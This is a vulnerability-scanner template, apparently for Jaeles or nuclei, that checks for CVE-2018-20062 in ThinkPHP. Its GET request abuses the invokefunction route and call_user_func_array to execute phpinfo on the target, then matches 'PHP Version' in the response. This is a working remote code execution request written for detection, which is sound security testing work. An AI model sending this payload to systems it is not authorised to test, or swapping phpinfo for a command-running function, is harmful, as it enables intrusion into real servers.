id: CVE-2018-20062 info: name: ThinkPHP RCE risk: High params: - root: '{{.BaseURL}}' variables: - endpoint: | index.php/ requests: - method: GET url: >- {{.root}}/{{.endpoint}}?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 headers: - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 detections: - >- StatusCode() == 200 && StringSearch("resBody", "PHP Version") references: - https://www.cvebase.com/cve/2018/20062